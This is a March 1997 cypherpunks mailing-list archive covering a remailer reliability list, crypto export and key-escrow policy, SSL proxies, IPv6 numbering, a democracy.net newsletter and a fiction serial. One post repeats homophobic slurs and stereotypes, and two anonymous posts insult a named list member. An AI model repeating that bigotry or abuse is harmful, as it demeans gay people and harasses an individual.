$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 24 Mar 97 6:48:58 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config@nym.alias.net             --###*+***##    18:54 100.00%
hidden   remailer@hidden.net              #####+***###     1:55  99.99%
balls    remailer@huge.cajones.com         #########+#     3:23  99.94%
shaman   remailer@lycaeum.org             *+*++*+++-++    23:55  99.92%
lucifer  lucifer@dhp.com                  +*++++++++++    35:54  99.91%
winsock  winsock@rigel.cyberpass.net      ----_-.-----  5:07:09  99.89%
weasel   config@weasel.owl.de             ++++--+++--   2:47:00  99.89%
cyber    alias@alias.cyberpass.net        + - +++*+***    35:59  99.69%
exon     remailer@remailer.nl.com         #* #+#*#*+##    16:00  99.61%
dustbin  dustman@athensnet.com            ++.+  ++ +++    44:28  99.26%
replay   remailer@replay.com              +*_   -**-**  4:29:56  99.15%
jam      remailer@cypherpunks.ca          ** **** * **    21:53  99.05%
squirrel mix@squirrel.owl.de              ++++--+++--   4:36:01  98.56%
reno     middleman@cyberpass.net          *  -     +-+    44:40  97.15%
mix      mixmaster@remail.obscura.com     _ _. +-      51:47:04  88.89%
extropia remail@miron.vip.best.com        -_..- .      21:51:10  65.36%
middle   middleman@jpunix.com             ++-+*+++        35:43  46.02%
haystack haystack@holy.cow.net               ++           52:19  26.11%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Mon, 24 Mar 1997 06:25:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: BXA on Crypto Plans
Message-ID: <199703241425.GAA06543@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> Date:          Fri, 21 Mar 1997 08:42:22 -0500
> To:            cypherpunks@toad.com
> From:          John Young <jya@pipeline.com>
> Subject:       BXA on Crypto Plans
> Reply-to:      John Young <jya@pipeline.com>

> Excerpt of BXA head William Reinsch statement on Goodlatte's
> SAFEncryption Bill HR 695 on March 20, 1997:
> 
> [...]
> To that end, 
> we will shortly submit legislation intended to do the following:
> 
>   Expressly confirm the freedom of domestic users to choose any 
>   type or strength of encryption.
> 
>   Explicitly state that participation in the key management 
>   infrastructure is voluntary.
> 

I think we should ponder the validity of the underlying assumption
here - that there will be *one* PKI system, and (speculating here)
(i) the government sets what it's requirements are, and (ii) they
will include compromising one's private keys.


> 
>   Offers, on a voluntary basis, firms that are in the business 
>   of providing public cryptography keys the opportunity to 
>   obtain government recognition, allowing them to market the 
>   trustworthiness implied by government approval.
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

This is a joke, right?

Peter Trei
trei@process.com

Disclaimer: I do not represent my employer.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Pittsburgh Admin <pgh@dhp.com>
Date: Mon, 24 Mar 1997 07:17:28 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702142104.PAA02356@manifold.algebra.com>
Message-ID: <Pine.LNX.3.95.970324101600.12885C-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 14 Feb 1997, Igor Chudov @ home wrote:

> Dave Hayes wrote:
> > You'll find those of us who -truly- want free speech are extremely
> > good at ignoring what we don't like.
> 
> Not all of you freedom-knights are good at it at all.
> 
> I would go as far as to say that only you, Dave Hayes, are good at it.
> 
> 	- Igor.
> 

Well, you see, it is TOUGH to be "ignorant."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Mon, 24 Mar 1997 07:26:17 -0800 (PST)
To: pgut001@cs.auckland.ac.nz
Subject: Re: Security of SSL proxies
Message-ID: <199703241526.HAA07715@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


pgut001@cs.auckland.ac.nz (Peter Gutmann) writes:
> A number of vendors are now selling SSL proxies which implement secure 
> tunnelling for web browsers using a non-crippled SSL implementation running on 
> the client machine.  Has anyone considered the total security level provided 
> by one of these systems?  I can see three problems with this approach:
>  
> 1. The security stops a few feet short of the browser, making a MITM attack 
>    possible (see below).
>  
> 2. Security and authentication is handled by the proxy and not the browser.  
>    This means that the browser (and browser user) never get to see the usual 
>    indicators that their connection is secure (or "secure" for non-US users).
>  
> 3. If you use a proxy like this to protect traffic for an entire company, the 
>    proxy provides the same type of target as a GAK key center: An attack which 
>    compromises this compromises security for the entire company.
[problems with this approach deleted]

> Peter.

I'm a little confused by your use of the term 'SSL proxy'. Netscape 
defined an extension to HTTP to allow SSL traffic through a firewall:
the encrypted request is prepended (in clear) with the actual 
destination IP address and port. The firewall proxy then opens a 
TCP/IP channel to the actual destination/port, and blindly relays packets
between the actual destination and the browser until one side or the
other shuts down the link.

The proxy does no encryption or decryption - in fact, it requires no 
crypto code at all. 

(BTW: this what setting the 'security proxy' field in Netscape is 
all about).

The scheme has some drawbacks 

- there is no provision for chaining proxies. 
- the server can't determine the source browser's IP - it only sees 
  the proxy's IP address. This makes it more difficult to filter 
  requests based on source ID.
- the proxy has no idea of the actual URL requested - proxies which
  want to filter or log requests based on URL can't do so.

Or are you talking about something entirely different? 

Peter Trei
(yes, I've implemented the above)
trei@process.com








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 24 Mar 1997 09:29:23 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: UK TTP regs
In-Reply-To: <3.0.1.32.19970324021936.0281a038@mail.io.com>
Message-ID: <3336B9DB.7D7A@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:

> Last week's hearing for the ProCODE bill totally ignored...
>  the Fourth Amendment 
> law enforcement...contemptuous of the law itself 
> using its power to perpetuate itself
> various flavors of political or personal repression
> various Red Squads
> the COINTELPRO operation against domestic dissident groups,
> harassment of...activists,
> local police...spying 
> Ruby Ridge, Waco, Operation MOVE
> FBI crime lab...altering lab reports...perjured testimony
> cops who fuck up for political reasons
> spooks/cops who sell out just for money 
> street-level corrupt cops who "look the other way", steal from
> suspects/defendants, "borrow" from evidence lockers, carry "throw-down" guns

> Which is a lot of rant to say that I don't think the sky is falling in the UK
> just yet.

  But you've made a damn good case for running for cover in the U.S.
  You ought to rant more often.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Mon, 24 Mar 1997 14:41:15 -0800 (PST)
To: Law &amp; Policy of Computer Communications              <CYBERIA-L@LISTSERV.AOL.COM>
Subject: Re: American Registry for Internet Numbers?
In-Reply-To: <3336AA95.1FC1@dc.net>
Message-ID: <3.0.1.32.19970324113046.00624588@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:23 AM 3/24/97 -0800, Robert Cannon <cannon@DC.NET> wrote:
>Does anyone know anything about ARIN (see www.arin.net).  This is a
>proposal to make IP numbering allocation seperate from domain name
>registration.  Currently NSI is paying for IP numbering paid for with
>its domain name fees.  Thus NSI is a big advocate of getting rid of this
>work which it is not receiving profit from.  But I find it difficult to
>discern from the ARIN web site how credible this proposal is. 

I'm not sure how credible it is.  However, a proposal to pay for
IP addresses now would be really bad timing.  The reason is that
sometime soon the net is going to change to IPv6.  It's not clear when,
given some of the stopgap measures to get by with existing IP space,
but it will probably be within the next 2-3 years.
There are three main differences between IPv6 and the current IPv4
1) It's different, so you need to upgrade your routers and machines,
	which is expensive and annoying.
2) IPSEC security feature support is mandatory, so various government
	agencies are footdragging
3) Addresses are 128 bits long instead of 32 bits.   
	
32 bits is 	4 billion, which would be enough for almost 
everybody on the planet to have one (except that the addressing 
structure wastes part of the space.)
64 bits is almost enough for everyone on the planet to have
a network number with a host number for everyone else.
It's almost enough for every human neuron on the planet to have an address.
128 bits is far, far larger than that.  Even if we waste lots of space
by using an inefficient structure, which we will to make routing easier,
there's still mindbogglingly more space than anyone needs.

There are two reasons to charge for Internet numbers:
1) Even if you've got nearly infinite supplies, somebody still
needs to coordinate it to prevent collisions, and this has non-zero cost.
2) Today, numbers are in short supply, so charging for them can
help reduce waste and bring in revenue for the lucky contractor,
especially if you charge by the address or size of address block.
Tomorrow, there are so many numbers that charging by the number
doesn't make sense - all you need is an initial coordination cost.
So if you want to make big bucks on this business tomorrow,
you'd better get the market locked in today.

There are alternative approaches that don't even require a registry.
For example, divide the address space into a 48-bit host part
(Ethernet numbers are unique) and an 80-bit network part,
and just pick a random network part.  On the average, the probability
of collisions is very low unless 2**40 other people are playing,
and you can put all the machines you want on that network.
If that's not guaranteed enough for you, you could use an
Ethernet board number as the network number (even if your
network isn't Ethernet based, you can buy a $50 board :-)

To put costs in perspective, the last time I checked, the Ethernet
industry charged manufacturers $1000 for a 24-bit chunk of numbers,
and there are 2**23 chunks available; there are very few manuacturers
who'll ever need to buy a second chunk, and not many manufacturers,
so this relatively high price is reasonable.  On the other hand,
if somebody wanted to set up a web-based registry of IPv6 numbers,
they could dole them out for a few dollars per chunk, most of which
would be spent on billing.  Perhaps the Ethernet folks could sell
IPv6 registry space for $1000/registry?

A bit of initial coordination can set aside different parts of the
number space for different strategies, and let the market settle it. 



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Mon, 24 Mar 1997 08:28:59 -0800 (PST)
To: trei@process.com
Subject: Re: Security of SSL proxies
In-Reply-To: <199703241526.HAA07715@toad.com>
Message-ID: <199703241638.LAA16180@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain


Peter Trei writes:
> 
> pgut001@cs.auckland.ac.nz (Peter Gutmann) writes:
> > A number of vendors are now selling SSL proxies which implement secure 
> > tunnelling for web browsers using a non-crippled SSL implementation running on 
> > the client machine.

> I'm a little confused by your use of the term 'SSL proxy'. Netscape 
> defined an extension to HTTP to allow SSL traffic through a firewall:
> the encrypted request is prepended (in clear) with the actual 
> destination IP address and port. The firewall proxy then opens a 
> TCP/IP channel to the actual destination/port, and blindly relays packets
> between the actual destination and the browser until one side or the
> other shuts down the link.

> Or are you talking about something entirely different? 

Something different.  There are several products that are designed to
improve the strength of the encryption securing the connection between
the browser and server.  Here are a couple of URLs with more info:

    http://www.c2.net/products/spwp/
    http://www.medcom.se/ssr/

I believe there are a couple of other competitors as well, but don't 
know the URLs.


-- Jeff




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Mon, 24 Mar 1997 09:59:13 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: [PGP-USERS] JFYI: Austria goes offline
Message-ID: <3.0.1.32.19970324124527.007c1a80@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


>X-Sender: helmberg@mailhost.via.at
>Date: Mon, 24 Mar 1997 16:07:03 +0100
>To: <pgp-users@rivertown.net>
>From: Florian Helmberger <helmberg@via.at>
>Subject: [PGP-USERS] JFYI: Austria goes offline
>
>-----BEGIN PGP SIGNED MESSAGE-----
>
>I thought this might be of interest for some of you guys...
>
>More info about this action is accessable at <http://www.internet.at>.
>
>***
>    ====================
>    Austria goes Offline
>    ====================
>
>    On Tuesday, 25.3.1997, Austria's ISPs are going to shutdown all their
>    Internet services from 16:00 to 18:00 MET.  The reason for this unique
>    action is the recent seize of all computer equipment of a Viennese ISP
>    by the police as pieces of evidence.  This official act was triggered by
>    a denunciation versus persons unknown regarding child pornography dating
>    10.3.1996 (! one year ago !).
>
>    Confiscation of equipment after more than one year doesn't seem to be
>    appropriate for securing evidence.  The current legal status doesn't
>    clearly define the position of an ISP and doesn't specify general
>    guidelines for the responsibility of content of the Internet.  With the
>    general shutdown Austria's ISPs are demonstrating the only mode of
>    operation which is evidently conforming to current law.
>
>    Apart from the existing willingness for co-operation Austria's ISPs are,
>    at the same time, offering practical support for the legal authority
>    like free Internet access and training for their staff.
>
>    From: "Christian Panigl, ACOnet/UniVie"
>***
>
>Best wishes,
>Florian
>
>-----BEGIN PGP SIGNATURE-----
>Version: 2.6.3i
>Charset: cp850
>
>iQB1AwUBMzaYlHA6iYwSpSQNAQG5KgMAjeCROiykp0KxRhwBEtjrHgeK4wHqrTry
>v1racUrPbqkIW1B9yLvc8yzkJ4v0+r1Bd7a2OBRbvcxm9TgtS8MzMy+vPumTgL7v
>0kj3Qkt8NDYrU3nIHmrcriSlkZ8G7W7T
>=Nk8a
>-----END PGP SIGNATURE-----
>
>___________________________________________________________________________
>Florian Helmberger                           http://home.pages.de/~helmberg
>------------------------------[Quote of the day]---------------------------
>"I am a marvellous housekeeper.  Every time I leave a man, I keep his
> house."
>    -- Zsa Zsa Gabor





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Mon, 24 Mar 1997 14:41:21 -0800 (PST)
To: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Subject: Re: Analysis of proposed UK ban on use of non-escrowed crypto.
In-Reply-To: <9703240919.aa17593@gonzo.ben.algroup.co.uk>
Message-ID: <3.0.1.32.19970324125938.00624588@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:51 AM 3/24/97 -0500, "Michael Froomkin - U.Miami School of Law" 
<froomkin@law.miami.edu> wrote:
>It may be that in the UK/EU usage has moved (been moved?) to the point
>where TTP => escrow.  If so, this is as unfortunate as the term "escrow"
itself.
The UK folks who introduced the term TTP did it in the context of escrow.

> I prefer "key bailment" myself.  
> It more closely captures the legal relationships.  
What a great term!  It does sound like it covers the legal relationship,
and it sounds like something the average person would rather avoid,
as opposed to escrow which is has a neutral-to-positive sound, 
or "Trusted Third Party" which drips saccharine
	"We're from H.M.Government, and we're here to help you"

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Yu-Hyun Kim (5808) <yhkim@dingo.etri.re.kr>
Date: Mon, 24 Mar 1997 00:06:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: I want to see your paper " A New Attack to RSA on Tamperproof Devices".
Message-ID: <199703240453.NAA08514@dingo.etri.re.kr>
MIME-Version: 1.0
Content-Type: text/plain



 Dear Sir,

Would you send me the full paper "A New Attack to RSA on Tamperproof Devices"?

Yu-Hyun Kim

yhkim@dingo.etri.re.kr





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shabbir Safdar <shabbir@democracy.net>
Date: Mon, 24 Mar 1997 11:22:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: INFO: Pro-CODE testimony available now online at democracy.net!
Message-ID: <199703241922.OAA28863@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text/plain


==========================================================================
     _                                                             _
  __| | ___ _ __ ___   ___   ___ _ __ __ _  ___ _   _   _ __   ___| |_
 / _` |/ _ \ '_ ` _ \ / _ \ / __| '__/ _` |/ __| | | | | '_ \ / _ \ __|
| (_| |  __/ | | | | | (_) | (__| | | (_| | (__| |_| |_| | | |  __/ |_
 \__,_|\___|_| |_| |_|\___/ \___|_|  \__,_|\___|\__, (_)_| |_|\___|\__|
                                                |___/
 Enhancing Participation in the Democratic Process Through the Internet
_________________________________________________________________________
Update No.2          http://democracy.net/               March 20, 1997
_________________________________________________________________________
Table of Contents

 - democracy.net Cybercast draws Thousands to Interactive Hearing
 - Upcoming Events
 - Volunteering for democracy.net
 - About democracy.net
___________________________________________________________________________

DEMOCRACY.NET CYBERCAST DRAWS THOUSANDS TO INTERACTIVE CONGRESSIONAL HEARING

democracy.net, a project designed to explore ways of enhancing citizens
participation in the democratic process via the Internet, held its first
live, interactive cybercast of a Congressional hearing on Wednesday March
19th, 1997.

Thousands of Internet users joined this historic event by listening to a
live audio feed from the hearing (cybercast over the Internet via
RealAudio), submitting questions and testimony for the hearing record, reading
information about the hearing, and joining a simultaneous online discussion
forum to discuss the hearing with Congressional staff and policy experts.

The hearing was held by the Senate Commerce Committe to consider S. 377,
the Promotion of Commerce online in the Digital Era (Pro-CODE) Act and this
issue of US encryption policy -- a critical issue to the Internet user
community.

Some statistics from the event.

* 6,019 individual Internet users visited the democracy.net web site
  containing information about the Hearing, links to both sides of the
  issue, and other relevant information in the 24 hours preceding the
  event.

* 703 individuals listened to the hearing live online via Real Audio
  throughout the 3 hour event.  The actual Senate hearing room (Russell
  253) where the event took place only holds less than one hundred people
  when filled to capacity (as it was for this hearing).

* Throughout the event, between 20 - 50 people joined the simultaneous
  live chat discussion where Commerce Committee staff and encryption
  policy experts fielded questions and discussed the hearing.  The
  audience included individual Internet users, reporters, advocacy
  groups, and Congressional staff.

* Twenty-three Internet users submitted formal comments for the hearing
  record via the democracy.net web page, including IETF chair Fred Baker.

The democracy.net cybercast was promoted on the front page of Netscape's
World Wide Web site (one of the most popular destinations on the entire
Web) on March 18 - 19. The site is also featured at Progressive Networks
WebActive Site of the Week for the week of March 17-21.

Despite some technical bugs early on (par for the course for a cutting-edge
Internet event such as this), the cybercast went even better than we
anticipated. We are grateful to Brett Scott, Mike Rawson, Matt Raymond,
Mike Inners, and Pia Pialorsi of the Senate Commerce Committee staff for
their help and support of this effort.

Archives of the hearing are posted http://democracy.net/events/03191997/

democracy.net is a new project of the Center for Democracy and Technology
and the Voters Telecommunications Watch designed to explore ways of
enhancing citizen particpation in the democratic process via the Internet.
democracy.net is made possible through the generous support of Webactive
Panix, Digex, and the Democracy Network. Visit
http://democracy.net/about/ for more details.

______________________________________________________________________________
UPCOMING EVENTS

* April 10, 8:30PM EST - Online town hall meeting with Rep. Rick White
  (R-WA), Co-Founder of the Congressional Internet Caucus

* April 16, 8:30PM EST - Online town hall meeting with Rep. Anna Eshoo (D-CA),
  Key Representative from California's Silicon Valley and leader on Internet
  Policy issues.

* Additional events are in the works -- please visit http://www.democracy.net
  for more details, and sign up for our event announcement mailing list.

democracy.net town hall meetings will be moderated by Todd Lappin (Cyber
Rights Editor for Wired Magazine). The town hall meetings are designed to
bring interested members of the Internet community and key members of
congress together to discuss current Internet policy issues.

____________________________________________________________________________
VOLUNTEERING FOR DEMOCRACY.NET

A volunteer is needed to help index the RealAudio transcript of the
hearing.  If you would like to help, please do the following and mail the
results to webmaster@democracy.net.

To index the RealAudio transcript, please listen to the transcript and
watch the time counter at the bottom right of the page.  Please note the
following beginning and ending times:
   -whenever a new witness begins their prepared testimony and,
   -whenever a question and answer section begins.

Mail them to us at webmaster@democracy.net with the start and stop times
of each section.  Thanks!

____________________________________________________________________________
ABOUT DEMOCRACY.NET

The democracy.net is a joint project of the Center for Democracy and
Technology (CDT) and the Voters Telecommunications Watch (VTW) to explore
ways of enhancing citizen participation in the democratic process via
the Internet.

To this end, democracy.net will host live, interactive cybercasts of
Congressional Hearings and online town hall meetings with key policy makers.

democracy.net is made possible through the generous support of WebActive,
PANIX Internet, the Democracy Network, and DIGEX Internet.  More
information about the project can be found at
http://democracy.net/about/

To receive democracy.net announcements automatically, please visit
http://democracy.net/
_____________________________________________________________________________
end Update No.2
03.20.97
=============================================================================




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Pittsburgh Admin <pgh@dhp.com>
Date: Mon, 24 Mar 1997 12:08:50 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Gays are Wired Differently
In-Reply-To: <3303DD64.3685@gte.net>
Message-ID: <Pine.LNX.3.95.970324150423.28116B-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


an astute comment here below.

On Thu, 13 Feb 1997, Dale Thorn wrote:

> aga wrote:
> > On 12 Feb 1997, Against Moderation wrote:
> > > aga <aga@dhp.com> writes:
> > > > Yes, and just why is Gilmore such a jerk?  Could his homosexuality
> > > > have anything to do with it?
> 
> > > Doubtful.  Given the fact that gay people suffer a great deal of
> > > discrimination, they generally tend to be fairly open-minded.  I see
> > > no reason to believe Gilmore is in fact gay, but if he is it in no way
> > > affects my opinion of him.
> 
> (It sure doesn't affect my opinion of him.  He's such a total jerk
> and a conspiring creep that I haven't had to consider anything else).
> 
> Funny, isn't it?  Those people who *allegedly* suffer the most dis-
> crimination seem to be having the most fun, if you can call it that.
> If I were gay, which I'm not, I could get all the boyfriends I want.
> But being heterosexual, I would very much like to have women friends
> (just as friends mind you) for ordinary social purposes, yet it's not
> that easy.  I'd guess the gays are much more liberal with their multi-
> friendships than straight people are.
> 
> Another funny thing - I'm an ordinary English/Welsh/Dutch White person,
> and I've had plenty of White friends, and an equal percentage of Black
> friends given the number of Black people I've known, but I've never
> had a friend who was gay or lesbian, as far as I know, and I think
> I could tell.  I can only guess that the gays are very clique-ish,
> or their brains are wired differently than non-gays.
> 

That is it in a nutshell.
faggots are just not built like straight people.

> > Well, the fact remains that the homos are instrumental in creating and
> > forming a cliquish and censored usenet.  There is just no question
> > about that.  Remember the previous cypherpunk who stated that the
> > gays "created and run usenet."

and they were serious about that fact.

J.D. Falk was one of the faggots that said that, too.

> > It is very logical and wise to discriminate on the basis of sex.
> > I am not a racist, so therefore I can not be a "bigot," regardless of
> > my views on homosexuality.
> 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Mon, 24 Mar 1997 17:13:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703250019.QAA14324@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[rook] Mayonnaise's abysmal grammar, atrocious 
spelling and feeble responses clearly identify him as a 
product of the American education system.

         ___
       ./_ -\.
      q| o O |p
  -oOOO--~U~--OOOo- Timmy C[rook] Mayonnaise





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Mon, 24 Mar 1997 17:13:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703250020.QAA14541@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Many forgeries are traceable with mathematical certainty to 
feebleminded Tim C[rook] May's poison keyboard.

         ( )( )________ Tim C[rook] May
         /00           \      _
        O_\\--mm---mm  /_______)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sergey Goldgaber <sergey@el.net>
Date: Mon, 24 Mar 1997 14:04:54 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Remailer problem solution?
In-Reply-To: <199703232314.XAA01324@server.test.net>
Message-ID: <Pine.LNX.3.95.970324164349.142L-100000@void.el.net>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 23 Mar 1997, Adam Back wrote:

-> Sergey Goldgaber <sergey@el.net> writes:
-> > 
-> > This is only a practical problem related to PGP's lack of popularity.
-> > The proposed solution will work in the long run, assuming PGP achieves
-> > great popularity.  Thus, education of the public concerning PGP and remailers
-> > will help make this solution more effective.
-> 
-> Yeah, but if we get to the stage where most people with email
-> addresses have PGP keys, sending messages encrytped with PGP won't
-> reduce the number of people subjected to messages the don't want to
-> see.

PGP's current lack of popularity does not prevent spammers from using
it.

-> A side benefit of using PGP, is that PGP encryption should add some
-> overhead to the spammer -- he can probably encrypt less messages per
-> second than he can spam down a T3 link.

Exactly!  A 400,000 address spam will take a non-trivial ammount of time
to prepare (46 days, assuming 10secs/message) if every message must be
encrypted with an individual's key.


 ............................................................................
 . Sergey Goldgaber <sergey@el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Mon, 24 Mar 1997 09:25:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 15
Message-ID: <859223961.114510.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



                                                  The True Story of the InterNet 
                                                                    Part II

                                       WebWorld & the Mythical 'Circle of Eunuchs'

                                                               by Arnold

Copyright 1995, 1996, 1997 Pearl Publishing


Initiation
-----------

Jonathan was a wreck. A totally nervous wreck. 

The bottle of bourbon was almost empty, but that was O.K., he had more-plenty more. He knew that the 
woman who came to 'initiate' him into the circle was right about Bubba Rom Dos. Just an old, drunken has-
been who liked to shoot his mouth off and act important, rambling on about things he knew nothing about.

But Jonathan knew about these weird, evil things. He knew much more than he wanted to know about them. 
Things that he couldn't forget, no matter how hard he tried.

After he had been to see Bubba, receiving only a denial of the Magic Circle's existence (from a young girl 
whose existence was so real that he still thought about her), Jonathan had immersed himself in scanning old 
CyberPosts...email, he corrected himself...that dated from the early CypherPunks era.
It was a twisted, rambling trail that was woven around and through the history of the CypherPunks. 
CryptoRebels, CyberHackers, Spooks, Phreaks, and Phantoms...
Everybody had an angle, or a game, and even the players often seemed unsure of who they were playing 
with, or against.

Was it Gilmore, or Hughes-Jonathan couldn't remember, it had been so many years ago-who had stood on 
the desk in his grandfather's study, and uttered the words which might well have been the official battle-cry 
of the CypherPunks?
"Close ranks-every man for himself."

Jonathan had pored over the archive surrounding the date of the legendary moderation experiment on the 
list. It was an archive that Jonathan's grandfather, among others, had used for PseudoID Traffic Analysis, 
along with UNIX route tracing records and information secretly gleaned from the military's Onion Routers, 
in order to attempt to "separate the  double agents from the triple agents," as one of the Russian list 
members, Igor, used to say.
Jonathan still remembered the one time that he had received a scathing rebuke from all present in his 
grandfather's study, as a result of suggesting that they could learn much of what they needed to know by 
studying the remailer records.
Big mistake.

Jonathan immediately found himself surrounded by a plethora of enraged CypherPunks who obviously 
didn't give a fat rat's ass whether he was a mere child, or not-nobody questioned their integrity regarding 
their foremost contribution to anarchy...end of story.

One of the CypherPunks picked him up by his collar, lifting him up to eye level, and said, in deadly serious, 
deep-throated tones,
"You don't tug on Superman's cape. You don't spit in the wind. You don't peek in the files on your own 
remailer, and you don't mess around with Jim."

To Jonathan's great relief, the whole ragged band broke out in laughter. Jonathan learned later that the 
gentleman who had 'corrected' him, Jim, was the author of an Assassination Bot-one which had begun as a 
theoretical exercise, and later became a major tool in the implementation of the CypherPunks launching of 
Channel War II.
